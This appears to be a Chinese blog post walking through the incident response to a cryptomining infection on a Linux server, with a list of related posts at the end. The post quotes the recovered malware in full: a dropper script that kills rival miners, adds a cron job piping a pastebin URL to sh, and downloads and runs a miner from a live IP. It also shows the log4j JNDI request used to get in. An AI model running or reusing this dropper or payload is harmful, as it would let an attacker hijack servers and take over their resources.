liunx挖矿程序排查思路
最近收到一个阿里云安全告警,在这里写一下自己的排查思路,与大家交流一下:
安全告警邮件
查看异常情况
输入top,输入shift + P
会按照cpu的使用率大小从大到小进行排序,发现有异常进程7140与7129
[root@www-site-ec-6 ]# ps -ef | grep 7140
root 7140 1 9 02:51 ? 00:40:40 /bin/sh /tmp/.mimu/apache.sh
root 30662 7140 0 09:50 ? 00:00:00 ps aux
root 30663 7140 0 09:50 ? 00:00:00 grep -v grep
root 30664 7140 0 09:50 ? 00:00:00 grep cpu-force-autoconfig
root 30665 7140 0 09:50 ? 00:00:00 awk {print $2}
root 30666 7140 0 09:50 ? 00:00:00 xargs -i kill -9 {}
root 30671 1075 0 09:50 pts/0 00:00:00 grep --color=auto 7140
[root@www-site-ec-6 ]# ps -ef | grep 7129
root 7129 1 9 02:51 ? 00:40:54 /bin/sh /tmp/.mimu/apache.sh
root 7304 7129 0 02:51 ? 00:00:01 /tmp/.mimu/kthmimu
root 10903 1075 0 09:51 pts/0 00:00:00 grep --color=auto 7129
root 10905 7129 0 09:51 ? 00:00:00 ps aux
root 10906 7129 0 09:51 ? 00:00:00 grep -v grep
root 10907 7129 0 09:51 ? 00:00:00 grep kinsing
root 10908 7129 0 09:51 ? 00:00:00 awk {print $2}
root 10909 7129 0 09:51 ? 00:00:00 /bin/sh /tmp/.mimu/apache.sh
可以确认挖坑脚本是 apache.sh
一般我们需要获取到入侵脚本看一下这个脚本操作了什么,然后把之进行反向操作即可,所以我们现在去获取到这个脚本
/tmp/.mimu/apache.sh
[root@www-site-ec-6 ]# cd /tmp/.mimu/
[root@www-site-ec-6 .mimu]# ll
total 5808
-rw-r--r-- 1 root root 2492 Oct 18 02:51 config.json
-rwxr-xr-x 1 root root 5940672 Oct 18 02:51 kthmimu
被入侵时间是02:51
我们发现这个脚本不存在了,这个时候我们先进行一下盲查
排查
定时任务
[root@www-site-ec-6 .mimu]# crontab -l
*/5 * * * * curl -fsSL https://pastebin.com/raw/cuRBc3hn | sh
怀疑是危险的脚本进行注释
[root@www-site-ec-6 .mimu]# crontab -e
crontab: installing new crontab
[root@www-site-ec-6 .mimu]# crontab -l
#*/5 * * * * curl -fsSL https://pastebin.com/raw/cuRBc3hn | sh
rc.loacl
[root@www-site-ec-6 ~]# cat /etc/rc.local
#!/bin/bash
# THIS FILE IS ADDED FOR COMPATIBILITY PURPOSES
#
# It is highly advisable to create own systemd services or udev rules
# to run scripts during boot instead of using this file.
#
# In contrast to previous versions due to parallel execution during boot
# this script will NOT be run after all other services.
#
# Please note that you must run 'chmod +x /etc/rc.d/rc.local' to ensure
# that this script will be executed during boot.touch /var/lock/subsys/local
没有被添加开机自启动的内容
查看最近进行修改的文件
[root@www-site-ec-6 ~]# find . -type f -mtime -1 >/root/change_file_list.txt #这个是把一天修改过的内写入文件
对这个文件生成的 change_file_list.txt 文件进行查看,重点关注 02:51左右进行修改的文件,查看所有文件,我这边排查没有可疑的内容。
清理
[root@www-site-ec-6 /]# kill 7129
[root@www-site-ec-6 /]# kill 7140
[root@www-site-ec-6 tmp]# ll -a
total 40
drwxrwxrwt. 10 root root 4096 Oct 18 09:55 .
dr-xr-xr-x. 24 root root 4096 Oct 18 10:05 ..
drwxrwxrwt. 2 root root 4096 Oct 15 2017 .font-unix
drwxr-xr-x 2 root root 4096 Jun 8 01:02 hsperfdata_root
drwxrwxrwt. 2 root root 4096 Oct 15 2017 .ICE-unix
drwxr-xr-x 2 root root 4096 Oct 18 09:52 .mimu
drwxrwxrwt. 2 root root 4096 Oct 15 2017 .Test-unix
drwxrwxrwt. 2 root root 4096 Oct 15 2017 .X11-unix
drwxrwxrwt. 2 root root 4096 Oct 15 2017 .XIM-unix
[root@www-site-ec-6 tmp]# rm -rf .mimu
被侵入原因
仔细查看入侵日志
其中执行了危险命令,进行查看,获取了危险代码
#!/bin/sh
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
pkill -9 -f mysqldd
pkill -9 -f monero
pkill -9 -f kinsing
pkill -9 -f sshpass
pkill -9 -f sshexec
pkill -9 -f cnrig
pkill -f /tmp/.mimu
pkill -9 -f attack
pkill -9 -f dovecat
pkill -9 -f donate
pkill -9 -f 'scan\.log'
pkill -9 -f xmr-stak
pkill -9 -f crond64
pkill -9 -f stratum
pkill -9 -f /tmp/java
pkill -9 -f /tmp/system
pkill -9 -f excludefile
pkill -9 -f agettyd
pkill -9 -f /dev/shm
pkill -9 -f /var/tmp
pkill -9 -f '\./python'
pkill -9 -f '\./crun'
pkill -9 -f '\./\.'
pkill -9 -f 'xmrig'
pkill -9 '\.6379'
pkill -9 'load\.sh'
pkill -9 'init\.sh'
pkill -9 '\.rsyslogds'
pkill -9 pnscan
pkill -9 masscan
pkill -9 ladaras
pkill -9 kthgado
pkill -9 kdevtmpfsi
pkill -9 solrd
pkill -9 meminitsrv
pkill -9 networkservice
pkill -9 sysupdate
pkill -9 phpguard
pkill -9 phpupdate
pkill -9 networkmanager
pkill -9 knthread
pkill -9 mysqlserver
pkill -9 watchbog
pkill -9 xmrig
pkill -9 bashirc
pkill -9 zgrab
killall -9 /tmp/*
killall -9 /var/tmp/*
crontab -l | grep -e "cuRBc3hn" | grep -v grep
if [ $? -eq 0 ]; thenecho "cron good"
else(crontab -l 2>/dev/nullecho "*/5 * * * * curl -fsSL https://pastebin.com/raw/cuRBc3hn | sh") | crontab -
fi
for i in $(ls /proc|grep '[0-9]'); doif ls -al /proc/$i 2>/dev/null|grep kthmimu 2>/dev/null; thencontinuefiif grep -a 'donate' /proc/$i/exe 1>/dev/null 2>&1; thenkill -9 $ifiif ls -al /proc/$i | grep exe | grep "/var/tmp\|/tmp"; thenkill -9 $ifi
done
ProcNumber=$(ps auxf|grep kthmimu|awk '{if($3>=70.0) print $2}')
Proc=""$ProcNumber
if [ -z "$Proc" ]
thenps auxf|grep -v grep | awk '{if($3>=70.0) print $2}'| xargs kill -9pkill -9 -f '/tmp/\.'mkdir /tmp/.mimucurl -fsSL http://61.97.188.42:8080/config.json -o /tmp/.mimu/config.jsoncurl -fsSL http://61.97.188.42:8080/x.rar -o /tmp/.mimu/kthmimucurl -fsSL http://61.97.188.42:8080/apache.sh -o /tmp/.mimu/apache.shchmod +x /tmp/.mimu/kthmimuchmod +x /tmp/.mimu/apache.shnohup /tmp/.mimu/apache.sh 1>/dev/null 2>&1 &sleep 2rm -f /tmp/.mimu/apache.sh
fi
分析问题代码,发现它确实只留下了一个定时任务,并且在最后删除了apache.sh
打开apache.sh 脚本
while true
dokillall -q -9 kdevtmpfsikillall -q -9 kinsingps aux | grep -v grep | grep 'javaupDates' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'givemexyz' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'dbused' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'cpu-force-autoconfig' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'kvm.sh' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'elastic.sh' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep '/var/tmp/.postgres/' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'postgres_start.sh' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'xmrig' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'xmr' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'kthreaddk' | awk '{print $2}' | xargs -i kill -9 {}ps aux | grep -v grep | grep 'kthreaddi' | awk '{print $2}' | xargs -i kill -9 {}PROC_NAME=kthmimuProcNumber=`ps -ef |grep -w $PROC_NAME|grep -v grep|wc -l`if [ $ProcNumber -le 0 ];thennohup /tmp/.mimu/kthmimu 1>/dev/null 2>&1 &fi
done
从脚本可以看出来,我们清理没有问题的,但是需要进行检查是否有被误杀的进程。
那么这个脚本为什么会被执行,我们看看tomcat的日志
192.168.0.125 - - [18/Oct/2022:02:51:11 +0800] "GET /?id=%24%7Bjndi%3Aldap%3A%2F%2F218.24.200.243%3A8066%2FTomcatBypass%2FCommand%2FBase64%2FY3VybCAtZnNTTCBodHRwOi8vNjEuOTcuMTg4LjQyOjgwODAvbHIuc2ggfHNo%7D HTTP/1.0" 200 57 0.213
从这个特征可以确认漏洞原因:我们的应用存在log4j安全漏洞
liunx挖矿程序排查思路相关推荐
- 记:解决阿里云服务器挖矿程序恶意进程
今天手机上午收到如下信息(出问题的服务器是平常自己用来测试的服务器,并没有设置任何防护): 解决过程: 1.登录上服务器发先服务器非常卡,直接使用top -c命令检查进程CPU的占用率,果然发现了问题 ...
- 记一次个人服务器被nicehash挖矿,排查挖矿程序记录
一:早上起来,发现短信邮箱都收到阿里云提示,租赁的一台虚拟云服务器,异地登录,被植入挖矿程序的提示: 二:打开电脑,终端连接服务器,发现登录不进去,第一反应,远程连接密码被修改,登录阿里云控制台,修改 ...
- 一次 minerd 肉鸡木马的排查思路
一次 minerd 肉鸡木马的排查思路 在日常使用 Linux 系统服务器时,如果系统安全维护方面做的不够规范和严谨,很容易导致主机被黑客植入恶意木马病毒被当做肉鸡.以后就是一次肉鸡木马病毒的排查过程 ...
- 系统运行缓慢,CPU 100%,以及Full GC次数过多问题的排查思路
点击上方"方志朋",选择"设为星标" 回复"666"获取新整理的面试资料 来源:http://h5ip.cn/uWWR 处理过线上问题的同学 ...
- 【系统缓慢、CPU 100%、频繁Full GC问题】的定位排查思路!
作者:爱宝贝 https://my.oschina.net/zhangxufeng/blog/3017521 处理过线上问题的同学基本上都会遇到系统突然运行缓慢,CPU 100%,以及Full GC次 ...
- Java线上问题排查思路及Linux常用问题分析命令学习
前言 之前线上有过一两次OOM的问题,但是每次定位问题都有点手足无措的感觉,刚好利用星期天,以测试环境为模版来学习一下Linux常用的几个排查问题的命令. 也可以帮助自己在以后的工作中快速的排查线上问 ...
- Linux入侵类问题排查思路
深入分析,查找入侵原因 一.检查隐藏帐户及弱口令 检查服务器系统及应用帐户是否存在 弱口令: 检查说明:检查管理员帐户.数据库帐户.MySQL 帐户.tomcat 帐户.网站后台管理员帐户等密码设置是 ...
- gc的原因 频繁full_系统缓慢+CPU 100%+频繁Full GC问题的定位排查思路!
处理过线上问题的同学基本上都会遇到系统突然运行缓慢,CPU 100%,以及Full GC次数过多的问题. 当然,这些问题的最终导致的直观现象就是系统运行缓慢,并且有大量的报警. 本文主要针对系统运行缓 ...
- centos 7 局域网丢包排查_ethtool原理介绍和解决网卡丢包排查思路
前言 之前记录过处理因为LVS网卡流量负载过高导致软中断发生丢包的问题,RPS和RFS网卡多队列性能调优实践,对一般人来说压力不大的情况下其实碰见的概率并不高.这次想分享的话题是比较常见服务器网卡丢包 ...
最新文章
- (C++) A+B 输入输出练习IV 每行的第一个数N,表示本行后面有N个数。 如果N=0时,表示输入结束,且这一行不要计算。
- 一句话总结英国新规:不欢迎AI专业的中国留学生、学者与研究员
- 《基于压缩传感的匹配追踪重建算法研究》读书笔记
- DNN中多任务学习概述
- 腐烂国度2怎么学计算机,腐烂国度2按键操作说明 腐烂国度2怎么操作
- python 直方图每个bin中的值_【Python数据分析】四级成绩分布 -matplotlib,xlrd 应用...
- windows和linux的内存管理
- Qt自定义QML模块
- 总结 贪心算法_用经典例题轻松帮你搞定贪心算法
- Nodejs windows的安装
- 一、博客首页搭建搭建《iVX低代码仿CSDN个人博客制作》
- 树的递归思维:自顶向下、自底向上
- 内存颗粒和闪存颗粒的区别_slc、mlc、tlc闪存芯片颗粒哪个好?有什么区别?
- CSS简单实现一个箭头
- 电脑系统知识:Windows原版系统与Ghost系统的区别,你知道吗?
- Unity Shader 表面着色器边缘光(Rim Lighting)二
- 基于基站定位数据的商圈分析
- onedrive电脑手机不同步_Win10 OneDrive 无法同步文件怎么办?一个命令搞定
- 电脑“C盘”快满了,怎么清理?
- Sony Vegas使用记录